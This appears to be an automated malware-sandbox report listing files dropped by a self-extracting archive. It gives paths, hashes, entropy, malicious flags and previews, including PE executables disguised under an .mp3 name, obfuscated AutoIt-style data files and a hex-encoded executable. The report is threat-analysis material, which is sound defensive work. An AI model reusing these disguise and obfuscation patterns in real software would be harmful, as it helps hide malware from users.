........(....o!...o".....,..o#...t........0..(....... ....s$........o%....X..(....-...o&....0...........('......&.........................0...........(.......&.....*.................0............(.....(....~....,.(....~....o....9]...

C:\Users\user\AppData\Roaming\wlnk\anxv.ppt

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.479727752033359
Encrypted:	false
SSDEEP:	6:8RrGdDpW9J7mwnTXTJ+VmSgRTcG7VA+UCduyBrgWDgRi8Ty8Mu2C/B2azVWmUOQ8:Aq/SRLTmgZ7VzwODJPlCbUOQH8raBPc
MD5:	D391F8B614A342CFF9FCBF8F4E41C934
SHA1:	FC045F44973B9000F63808ABD1E59C66ED6755B7
SHA-256:	36568784A413D46056FAC31E259C41F4429F08B1564A72CEB777CC80A0AA9F1C
SHA-512:	E446D6F17E9765AC260F4BD429FFE901C47C46FDFDEFBA25269A33E570E98B24469B529B815322E1D17AE3B4589ECF5561519D39D3AD65FD164AA8FCA50E62AD
Malicious:	false
Preview:	13Q6zh847S45g6A2cH4mv6Q5W144vY6AH5972d938UTIk14EI5eC1H550y7Cq0TRD695T643diC189ozNoeMqD..ComboConstants ButtonConstants..n6812ly6QM661R2U13FDXSNeD1jFG4iHq7Y5m11P8Db0mX7i2ven5Jon68h1352y93b5NS4r9g888993..BorderConstants ComboConstants..458354d8u104IpZoH294M7s4Z0DZtF926l050IX5avG2A1393kp7Y061DD02T..FileConstants FileConstants..6q4s927yPeasW75NX2gP090wT809FH21p95sDCV794v13oNY1g2p37wUi33c6r3alyp9KL1e505x1a6P6Z57R9K2395..BorderConstants UpDownConstants..5zN094t11829G6o89k..ToolbarConstants TreeViewConstants..

C:\Users\user\AppData\Roaming\wlnk\bvtesegdgq.3gp

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	5.578995690653875
Encrypted:	false
SSDEEP:	6:px8jxX+dkaEJNur4UiHGVI8o/KU0L6cW2N/Aykx4SVc9m5CQFXiKUn0Htwdl7h4c:qxudC+CGVI5/KUbR2N/A75CQJjrNCgWd
MD5:	C3A02FE4F358078606A02B7D8C069957
SHA1:	4CB6FC80AC829FCDB8088CC95F6C109C719CFA5D
SHA-256:	D8ABE1326E449CA4D9C330A900CE393EE32101793D91E7F556D0C87E77ADBA0C
SHA-512:	C016DED65E5A728E3EFF1E66AE913FF81677B197B4C809A9F9E509304DC2747A581597760B0D4B79E60C03647DC3569CAE21C413152C6E4AF8B4DEDE10E8BB9D
Malicious:	false
Preview:	834DOh7Je661F2c5x2Ow20Ja7vU6NFcv5O02Ac2g0I27x85247oNwN2Zi6qTh913b97CO8B45CTs2f6P9Jl55NY2Zk7P4198N0K72908qD93JeQY9n3KRM9fI868cBg24c37a2w9..ToolTipConstants BorderConstants..9n7i1Z394y14OPSW5z977v19g556Ma3788W72Tl033r8Kc2g2csp145u9b4F1d802Vi1K5XaE6..ColorConstants StructureConstants..8362kXs3l3Kr9a6pxh7DV33..BorderConstants ComboConstants..LTz071752Mo7Q622F9jiN505B91QV82i5ZM1nQI4ThM10Kp33sQKfaS981S03NI2T404E5s4x02A1sR7ND4RW3A04vr7BJgl656706yg..ColorConstants ToolTipConstants..jb1ii7Kqv193B38S1Wq1R69h75b249507B84260hB8RocdDQh7590K1Uk0x1yj2o21Yw9c6jp4196lPD3ZdB1i75w00dGmZUhsWKnO50N70TL0..FileConstants DateTimeConstants..

C:\Users\user\AppData\Roaming\wlnk\crbvulcpak.msc

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	528
Entropy (8bit):	5.506196921189518
Encrypted:	false
SSDEEP:	12:Df7UTwPck1UAJeu31tWxpeo2plPx2CnDcJjojWd9E:DfArk1UAIuFAI5vzr
MD5:	83CA8D8BAC38AF12453F9D9FF1D02916
SHA1:	DCC6E7AB9858EB9FF63F4CD2DD7E9B84EC694A22
SHA-256:	58412D427987A11C362FC7D921804F58277C3A5E4EA7CE98D4DC260E9AEB6302
SHA-512:	1BF89F1196B9C41E5781F118CE657AEC2194D48B0C4D15672A55093778C660E609626A9E5EA5336064590A9BD21F8FA1D9CF6F6435E866A0FACF50E438D5D3F0
Malicious:	false
Preview:	82JG78W49Z6rBhKeP0LfTp7Xg28VhFf1aX0x6U070h1vC5j0r92Mi7..TreeViewConstants ColorConstants..z1SEK6fEtUM9F8cG9454759C0O4w2ypt1Bb28qtf5dFm0xi230wVx34u87fLZ00..ButtonConstants DateTimeConstants..817kA2766727tzg7f17Sa1..BorderConstants ToolbarConstants..j9A6k74SGiH01aU7N3U2..ColorConstants GuiDateTimePicker..SzR70D8525Q9257Q2U49Z7P2QW929HN1tQ99j8W400524C26OKd870rIAA0SAz16c803..BorderConstants ColorConstants..es923584X949Y6Uc07114kQ4U9aVC8FdE208gU7E7X2b5m0F047i69SUX793Fmj038bp52boo6070BLW1j5987I..DateTimeConstants FileConstants..

C:\Users\user\AppData\Roaming\wlnk\iutol.das

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	532
Entropy (8bit):	5.614408649531123
Encrypted:	false
SSDEEP:	12:RV3ATUo9lbTfylFQkoQPvXXaBPx/EB+CGVRsXoGo0ciVI:6FgVPPqTSkaoRj
MD5:	8344337D8607EEF8BA26FC751F8E0122
SHA1:	2AB2AFCE50E3553637AEC0B5A65AA2E72D0CE51A
SHA-256:	ECB2D582D697D033A5E5BD06387DF5725AF74707C0E4B596D564BE2BDB1221A7
SHA-512:	DA3CAB35922C97D3D03C073F51915792278919775C9690AD95A8BD7143CD45A5B0FCBB5216ED53DFC3EEE1265BB91DDCDD875699AB23B3D95FCCC991190CAF2B
Malicious:	false
Preview:	V31181L127945gJ1Uws83220u59cr2f5dSML361TJdCh3lS6Wh34497f07h20652z7N867yP02D068ASQ537P97O834tRqR3X55368IUP233E78g4Cdj86r1y31kNuM1209o00aA3D340Sk8VFE2ezk338jo8021AB2UjCm2p5..TreeViewConstants ToolTipConstants..1id391JT5g3Rpna5g2p2OW4495v3G312zf5d8Ov157464n01cn1T598s2JXMoG3x46r0aJMP4eKnM66..GuiDateTimePicker ToolTipConstants..0K7884RIuoz0898H2I9P3V22r7V048De5H47M6eG3AaI5r8R3BuqXj7Zm5zlNq56eC6Y893A83e0mW6JM01W9w2ZcuDjbO8548qpM85y3Dj92QNzT5GAM3Qdj1T1SiS19qB3k37Z0g0v849w4sK82br5V629b2y5A290v63O1q0h..UpDownConstants UpDownConstants..

C:\Users\user\AppData\Roaming\wlnk\jmfhuve.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	609
Entropy (8bit):	5.593001882864648
Encrypted:	false
SSDEEP:	12:zMySb9uAA0s7OThyH8QiRiYSDwHNGDJnwLo5Q0VynLv:At9uX0s7OtOxwHNcJwx0V0b
MD5:	73CDC398766B26D5B3FC2A732B633E80
SHA1:	4E8178167362C791D19B8DD90284751E6294C041
SHA-256:	D078345688738BC731EE73004AC6AD2670CFD6343B570FA5B7C0AB7AD30F0B48
SHA-512:	AB55CECF628450EE0E07591C8A6B7E1EBD6F1E1FF0C3184A14BF297C64153C8507B331A391020A5068D7C23CB55E73125E7582D204CE6F5C1E26F3EE3CD32705
Malicious:	false
Preview:	3li0Xn8t8B6x42r4GbotIM1C1yN0dew5wV9653qpJmgzHW31n4u75RwF0qJPo51l0zyo7ayqW365qsyy00UWUD0mn48038gP14kT9JNM72656Hiv3d5243B5thSNh45FXT82wo37B1r77Ty3m0354RZI71Jio01ZxyUlF582x6889t76NN7R74YD..FileConstants ComboConstants..5I641lHUk1155oKBDOSFb2cZ011r365L898vayymH47s2wZ083U25oF8X3227zT28y4V8JVILGUH31t024129nX5f5mMo4l04jJ5F39p63X0JlfbXut9..ComboConstants ColorConstants..5ZC2164T791T238XuQ4h0..ButtonConstants ToolbarConstants..TNfhG54lK22bJQSg20foWy2Xqo76K5b7932RRN3i8rK2KEl4j576w706v0sLAr6984Of40XjH5nI0Z29l8C7h5b89b613e4rFzwf014u0285impoH34vX335U92KFxCx097k2x6O576rcz73NP63cB..DateTimeConstants UpDownConstants..

C:\Users\user\AppData\Roaming\wlnk\jwphnktqhh.xl

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.512682217978687
Encrypted:	false
SSDEEP:	12:aaf22j3HmimBHSZxVelxyBt7hYNyWcXGbZ3cwRr:A2LhmBexcfStQyBor
MD5:	25B3D4F1279923FD4780981605BCE9FB
SHA1:	12257BD64A5AB12EAFD4679BDBDF9BCF2903B160
SHA-256:	DF4F76D702170095FA752D69F1AB793604E9DCCE7ADCAD7C83FDAE623F0C0093
SHA-512:	F3579A94EBABD59B055D7170E3F9FBAEC7D645E3CBE0EFF514413621FEC6811FB07264E4A5048222E8A84BDEB671D7580989B7E2D6B8987795782B4C7C7E9920
Malicious:	false
Preview:	49pWmAv4tOE436P02w6j841y8m4123W4P531ae6TkIK96G0t5T5m1487lyGEt9U56cnk01T7Dgm3Xs53PK3i571cI606b3o719B..FontConstants ToolbarConstants..690v95P8h87W7PV1u0p8ZKv25l5652Rv1T23ac8341Bz08A4K993a0NO2I2x72m22t1jsXMMVz25olS10260A709K8D347VY0iCC1c8A863H3K6U91m4oH3tfKlz3Pm1o63..FileConstants ColorConstants..Tts32nk..ToolbarConstants FileConstants..gA1qgpj4F9r8Qx72ZjiS3R88GD1v2089pQZ838Xwf7e2A1ZNE2q841NrN3o71q89NYj5w26F92E23KW5a773o4cCln6R912E32262lr47T6U83u703677039Ckd0YR8zek886aze1hgmm2qL76OuA2O61..FileConstants ComboConstants..

C:\Users\user\AppData\Roaming\wlnk\ldrtopp.msc

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	586
Entropy (8bit):	5.585544499923843
Encrypted:	false
SSDEEP:	12:SCsCEhjB3FzAduE13Ozk0L4d3VNXINdzzPXbWWC6pZBPc:7sCwjB3addBOQgSFNXUeWCUZO
MD5:	AC53EE172CC20F1BC979FD4710CBFA00
SHA1:	5C83524E42270883FF05C434F3AB62ADA8931F51
SHA-256:	774C4CC458E33020B29FA28FC91DB540C86F55142D716CA1613DA20670435198
SHA-512:	70DF2BFE2300AAE5BEC804E7F0235C1B9601FC1447DF84248B6EFF030A4F36B908D00D089911D082C7CA10F7F9D30239B1414B754B32CB1ADC8F8A5A7286341D
Malicious:	false
Preview:	2KnAS42t0717CtE86wxw1eBx6M9m00LhKgjL7bTv87b697..ComboConstants FileConstants..8P338lYn1Lz17O1D1m17ZDA76b61qv0r28HOQr81eq944h4r5YGvr1zd61csiM931f388i2IVdp90HFXW3ey05ttx8zd01l619Yo4pw7yYC76u25908Kq314r0jCE0fi4g8CS3u6OQIc0LN38983kx68kadwbRxr7I583x4PN532O..ComboConstants ButtonConstants..4l527imF4dR4CpFQ4uanrzi94h447ild095turzb786nr57N5T6SQ1n49lU2847ncDSW982Ze9w44X81F2fN6E9M483aQOx4t81N1plRMm4XI95..DateTimeConstants FileConstants..IUnPzxKt9I79R82mLPBf..ToolTipConstants DateTimeConstants..2w611G817F9vxhnVW19MGSBi4S1K8e7bo70h8eRFN17V22AV0Mc4195r928F2o..FontConstants TreeViewConstants..

C:\Users\user\AppData\Roaming\wlnk\ltmdgplto.3gp

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	588
Entropy (8bit):	5.744612228806984
Encrypted:	false
SSDEEP:	12:WnGNeRd/MUAwEhQmHIFFg33etq6gFodFgSRRhkbkNkt7HLzYmv:WGuNW3F6gKdbRhkANo7LFv
MD5:	62A55B40D10BC4CCDF643E624B90D003
SHA1:	1AAFD527E1B40B555B1E68E1F6D9F6C594586913
SHA-256:	9401C3D0CBD1FBB5FB740EA9EFF7B4F7AF764574A6CBC487C97F99F610BA9852
SHA-512:	421B3694A2F2E080A03459973FE05A2B23F4FA67323529EE8D9AFDB6B5E9B8D082193A31F7C2B58D3368158FCDEF49D60DBABD3A4F7E656C8ED5B3B95F6BB181
Malicious:	false
Preview:	oG03pyV354095sGOBRSxx20ZkLDzgY1775f31..ToolTipConstants ToolbarConstants..5AE68g00h7FK7mS7D5oHX0Lg8zcqiE249..DateTimeConstants ComboConstants..k57l9IlHJ6Hh6kaM165f2r455631vlPUD4wvcv2i629945oX3yonmwYJ1ZQ3b9k3A85hVvvLO5932kA786Ho2cf8JpWF9O1Q49JJA3Ry253M82g81F28908fYJ964H3322rp..FontConstants GuiDateTimePicker..gp2P204LuYXL53MN080949vc11DjMN2f1Wi5fW1W3UKCA7x0tWx304A5VA2469d991L4N0358t0PFRN7a0j66K2Mk6T7KP62w1Y1sor6ycoZ17zj7V7YZj9..ToolTipConstants StructureConstants..1SUK6H2348154QFlh2zLMU4A7Ah05AVSQ1d53d9q7azA312Su8qL0QLZJVRE4U18bPc4cpd5Wr07g2g6Y..GuiDateTimePicker GuiDateTimePicker..

C:\Users\user\AppData\Roaming\wlnk\nbmn.lmk

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1373192
Entropy (8bit):	4.041168214657541
Encrypted:	false
SSDEEP:	24576:T3AoJ3FFp2KHP5jD69JE4N325yEqwGxRtsb+r:LACYDNf1F
MD5:	35A5CC0E4D021890E72A070EE02DFDC4
SHA1:	BA20DE52CDC21E3D8BD69470381B7D0CB53F1D05
SHA-256:	51E725C19B88D14E3D978B54D810398993242C959145F323FDE92CFA55557ADA
SHA-512:	AFE5510B3A27CF5E308CDE1E000289777AB9CFD592052B37C990028F51F4D5113E15FCCF7B13CF9A13ED06E3D134ED2009BBD18DDD5B508FA20D050D8D2719C2
Malicious:	false
Preview:	0x4D59]]3]]]04]]]FFFF]]_8]]]]]]]4]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]08]]]]E/F_0E]_409CD2/_80/4CCD2/546869732070726F67726/6D20636/6E6E6F742062652072756E20696E20444F53206D6F64652E0D0D024]]]]]]]5045]]4C0/03]5E7_5F64]]]]]]]]E]]20/0_0/0_]]3]]]66]]]]]]EE4E0]]2]]]06]]]]4]]02]]]]2]]04]]]]]]]04]]]]]]]]]0_]]02]]]]]]02]4085]]/]]0/]]]]0/]]0/]]]]]]0/]]]]]]]]]]]0944E0]57]]]]6]]/863]]]]]]]]]]]]]]]]]]]E]]0C]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]2]]]8]]]]]]]]]]]082]]048]]]]]]]]]]]2E74657874]]]F42E0]]2]]]03]]]02]]]]]]]]]]]]]]2]]0602E72737263]]]/863]]]6]]]64]]]320]]]]]]]]]]]]]4]]0402E72656C6F63]]0C]]]]E]]]02]]]960]]]]]]]]]]]]]4]]042]]]]]]]]]]]]]]]]D04E0]]]]]48]]]02]05]D43D0]C0/]]]/]]]04]]06827]]2/60]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]/33]5]0502]]0/]]//]7E0E]]00037E0E]]0280F]]02C0604/6FE0/2_0//7]/3/0///03D80/]]]04E08D/3]]0/0_73/]]]0C0307/60428//]]0]04/F/05E/6FE0//6FE0//3/0///03F4]]]]/F/08D/3]]0/0D/F/08D/3]]0//30473/2]]0/3057E0/]]04/E//04/6/F/028/3]]0]7E0/]]0

C:\Users\user\AppData\Roaming\wlnk\nhjdnx.3gp

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	579
Entropy (8bit):	5.575049796233503
Encrypted:	false
SSDEEP:	12:SgIrV55RKAnZROwTEeZUCeyNsLrkW6GLr1uQRTPUUD2EdZ:SgAVJKAnvOmUCXW63x0dZ
MD5:	E3C40D261A890A50E8616EFBCE725DF6
SHA1:	51087DD64E5C3F673C47A3B03CCAFFADB77DCE6D
SHA-256:	A1C8B7A1408638A385956EDAAF4EC1DEFB98E94784A5AEAEC9F63FD24CF3F83B
SHA-512:	114DE87085139632A912F2BDC2700EB60F166623641C460E818CE7A29EDC2DAC24F9C01B186CFB268976B7605FE496ADDB4300E6EC20507B101659DF2ADD69F8
Malicious:	false
Preview:	1q61d1LIRu9L98NY7g323ffUm3N34OA9b053foF9228QB26bH7GMa619r0PWWN42j2tR2D8hEkgK7K3vp3hK6080P3n9XyR9V69p7q4ya3IMz6Ok3K41x047vk8e1E1Qn8670H249S28L6tVE20q25S..DateTimeConstants FontConstants..773z76rS6Hr23O8rI30j7eMY3Q3Q7I021atLf93l986mx1e2aZfh09Vpp3s54t8IHY8Va2Hhd8X02KGU4C475coy2wtf84vyn7ZqKXjp3pQtW0vz31xO35lT602945i5Xji30Kd0514wp2A331oT29L3..UpDownConstants ToolbarConstants..9GYWl382o1858qz9x8zk6b6093C9O95Ze6aDdI00zo1V306x40c02010258A0HhwBd1L64l395I5d3fd3C..TreeViewConstants FontConstants..T1X2c09SB0w75y286D20W8G19PHF93019HTC4M34bL843I8I0439nH..UpDownConstants ComboConstants..

C:\Users\user\AppData\Roaming\wlnk\opioxoqv.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.547696645967649
Encrypted:	false
SSDEEP:	12:EBPfOBVX8y2PB4kT4DrgUyYSb2ElZhbuQ7+UNjTpP7:EpyXj2PG64zyfqEtbum+GjTp
MD5:	C4CEA733EF0F8C84E8C7081CDCB01B5E
SHA1:	66050A0F1A5C5A17532E8D449573A31BE8E8C693
SHA-256:	B75166289CC3ACD2E7ECB722F91792CEAD7BCCBE5D230A3AAF211C2027F7E8B4
SHA-512:	013A885C743CAE8BC941D76374745D18498CF5F53AEB7C4E02232130A552CC1553C2D3051D85B0494033DA2F5367BA078333659823A7AC236254420EEA0706DA
Malicious:	false
Preview:	TLR8ELL28..FileConstants TreeViewConstants..A8376Bzc32B160o57k9hBRD5it3w253kAQ5o8v8k9u12nbIk38u3UBQptw0159Wr3it64GO8p7rPNpN0GuFo1719IA059hr10X646..DateTimeConstants ColorConstants..SF1cuZHEA..ToolTipConstants DateTimeConstants..R355Bk4pweAC3JaG5aYh2oi1sFLSG1Vb4WuL047TC9Z01470m5KDs7YDFZZI2q35324Y11703B1734C73vNft25c5Z8Rg3j52gKd26D767Y6qz14Z322h9aJ2lInD369BHe115PTy21e5T3o4hA8ZCnV32wFu8g..ButtonConstants GuiDateTimePicker..648a97EKj9QK1164PH7tl5198sikWF150Q76E7k1KK1Z15Bke0M9..TreeViewConstants ComboConstants..

C:\Users\user\AppData\Roaming\wlnk\qbjid.xls

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	562
Entropy (8bit):	5.564214025056381
Encrypted:	false
SSDEEP:	12:pkxSfmKryTM4h6LyEeTNKjGbrGh9VAfwv:pk2mK2TM4oLyEeTgjG3Gh3Afwv
MD5:	4C854C21A4E83906AF7AE0B83D1D797B
SHA1:	52A423C95344186D45C66780CD55890820E755E0
SHA-256:	613C53A8E742366747A9253DD19FAB2527258F08E40699AAAB85D920787A717B
SHA-512:	BFEA86080CFFEC1E69EC7F5A1371796A656B8A129A1FEF437FADC8D170CDFD07C6F1BA514FCD14A138D943D89E26621686C366592D9BF6890C83C22A0EFA1963
Malicious:	false
Preview:	NZ8518kVp3k5h34470sFP55f2z7YD9PrLOE8xR5VK3yay14o..ToolTipConstants ToolTipConstants..1V7q7875S627zc33y98D452je07S62dN4eYoxE5PT6..UpDownConstants ToolbarConstants..rk3o03aO59012kV560TKOL428RABj694W77Zty10nXEJ71t0r7y74Sn3m7cE94W4UrQ00Yz9W85u93H9k5w5uCe0kc5135560kQ80929mH5443KY445p48Yhw..ButtonConstants DateTimeConstants..72ts5u93Icg055NGVnfs12sL6R98Q9u07Sqp09z3rf4G4fg2k8uSIXQuQi385I6a5826RJeh9Gnep1T7t5U5d3ki8y08v0cZ..ToolTipConstants ToolbarConstants..004n5gvFO4r501107u278V9PibNPXDe238mQ5y05V6i21L9yc03U23i18bYF9Uz10KsEA89..ButtonConstants GuiDateTimePicker..

C:\Users\user\AppData\Roaming\wlnk\qlgigdt.xls

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	648
Entropy (8bit):	5.642286506031062
Encrypted:	false
SSDEEP:	12:2y3xfr0t79gqcHuINsJMOrkGgOn1BBaS5GxEu7Femjt/tON9v:v3xfY79gqcHuINsLfgaNGx4m29v
MD5:	135F39E327B474DFCF9139F5A9DE5A9B
SHA1:	0D70AFD4762C1296355DD9E7579EB57B833D4C0C
SHA-256:	0988FF10C9F291F32009CA04929C0156A0E10C5003D30AE266B865E56C064B17
SHA-512:	4CD5747C41EF013C5CC884536864C35C45BEEB3FBB794CA6CD891C1F787ACE6A261A0B2E45BBC87677CF6540E5413564D98C2510EE30EC163E8EE3D0E4863E2B
Malicious:	false
Preview:	TVw8m1vjG6CwK486C1178I0777077425f2zk335753sZFo580ehI3CYyx34I61..ToolbarConstants ToolbarConstants..2cI1Sw6VzV04jfGb2cD97235S1LFzx4FUp6YI907F0T3ECGs6313P747VEs0j7607g1209P1qO37unPA2Ee4lb8t16K02L91a9138i08y1x3p831S9P3E3u4C42rnUiE7J3187KT9zFQ82s4f76R8rO..BorderConstants GuiDateTimePicker..75Z2ug1P65tyHXxmbN6r49hh17t8FFKaTJZ3V129BT3o5K745aMXB2090..ToolTipConstants DateTimeConstants..16I9Q0ZFkx9L6Bz9jk8473aaAS2j9749W42Fgv4s8DI7D6LkO00WC6lk830v0r2y4U190fdr7..ColorConstants GuiDateTimePicker..i1p86J2Y5I7Rbuq7b1EQ4mgiI4K8l1Qd91S381JFJO2HiY5550C7Zi6AL7h529940V3Oz453np94cG4Z19963H451a93lJ9Pi0nK3km9ib5X059TNQa8A6q..ToolbarConstants GuiDateTimePicker..

C:\Users\user\AppData\Roaming\wlnk\qlmgqepgjl.xls

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	633
Entropy (8bit):	5.515639729376305
Encrypted:	false
SSDEEP:	12:Zl70KyLGUkXx+LCaXWKbjy6MGdqNomuLutX/1iBPR6FoCWLqywLHQcs2:gKyLGdX+DXZy6MGdmomuLuJ1ijyWLBM
MD5:	0E969295487775DAA7D03B33829684F8
SHA1:	613CF0518A258CE3ED5BB2AAC7BAC1FDA71B1EC4
SHA-256:	5BADEFDF6C9490D5ED3A5181BB87A30536776827BF7A155957C62B01028FD4FB
SHA-512:	7EFCFCEE6E15AF372A6A57F66531FEB1C1873DC22399CE05228369EE3E7E49D69453D75D78131D50217761539BFCE82245140163C50ABAFA1790EEC69F1665E1
Malicious:	false
Preview:	2k32t5192X8H0KyMR9T20BwJt744c6l26dF9Zo..ToolTipConstants FontConstants..P3Ff6sU5M322sz79T9m6..FileConstants DateTimeConstants..92I1xJd87942g987X7351vdK8411g513yqH8yB263Wn262B3B3150U56mTxXT3V192X808F7uW78Kr5T8t5147sW3CL012z088cq9Jw..FileConstants FontConstants..3m366r1KqTV6qb24..UpDownConstants ButtonConstants..o59Xrz90Xo..ButtonConstants GuiDateTimePicker..2yX62fa6C55b477x097d8WuJU1R264jxF418928662YBke5Y544m0D7U76Z5BX1v84QKpaPZL..ComboConstants TreeViewConstants..z2g24NI1xo99Ngjhf5dc950x5D7jaSFHF2VY6nk2965pY2D8zYa9ak165Z1V9Q90DQ1703w7BGrs9LKw50Ah76rmOF231DfM36Bdx4qBCw7c47szZ6a7SE5I955qD4DU..DateTimeConstants ButtonConstants..

C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.629681466265794
Encrypted:	false
SSDEEP:	24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
MD5:	0ADB9B817F1DF7807576C2D7068DD931
SHA1:	4A1B94A9A5113106F40CD8EA724703734D15F118
SHA-256:	98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
SHA-512:	883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................\|....P..P............N..X&...0..Pv...........................C..........@............................................text...\|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.629681466265794
Encrypted:	false
SSDEEP:	24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
MD5:	0ADB9B817F1DF7807576C2D7068DD931
SHA1:	4A1B94A9A5113106F40CD8EA724703734D15F118
SHA-256:	98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
SHA-512:	883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................\|....P..P............N..X&...0..Pv...........................C..........@............................................text...\|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe.exe

Download File

Process:	C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.629681466265794
Encrypted:	false
SSDEEP:	24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
MD5:	0ADB9B817F1DF7807576C2D7068DD931
SHA1:	4A1B94A9A5113106F40CD8EA724703734D15F118
SHA-256:	98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
SHA-512:	883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................\|....P..P............N..X&...0..Pv...........................C..........@............................................text...\|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\wlnk\rmxb.vbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	90504
Entropy (8bit):	3.021449759435307
Encrypted:	false
SSDEEP:	24:QRMMMMMMMMMMMUYeeeeeeeeeeeeeeeeeeeeeeeeeaYdddddddddddddddddddddJ:bHXI7WPxVcWVWC9EnIhnrQ
MD5:	BE932D231EF60DCF6AD6C579873B550C
SHA1:	CA37AE517C7D341E008CBD71BEAB29ACA839002C
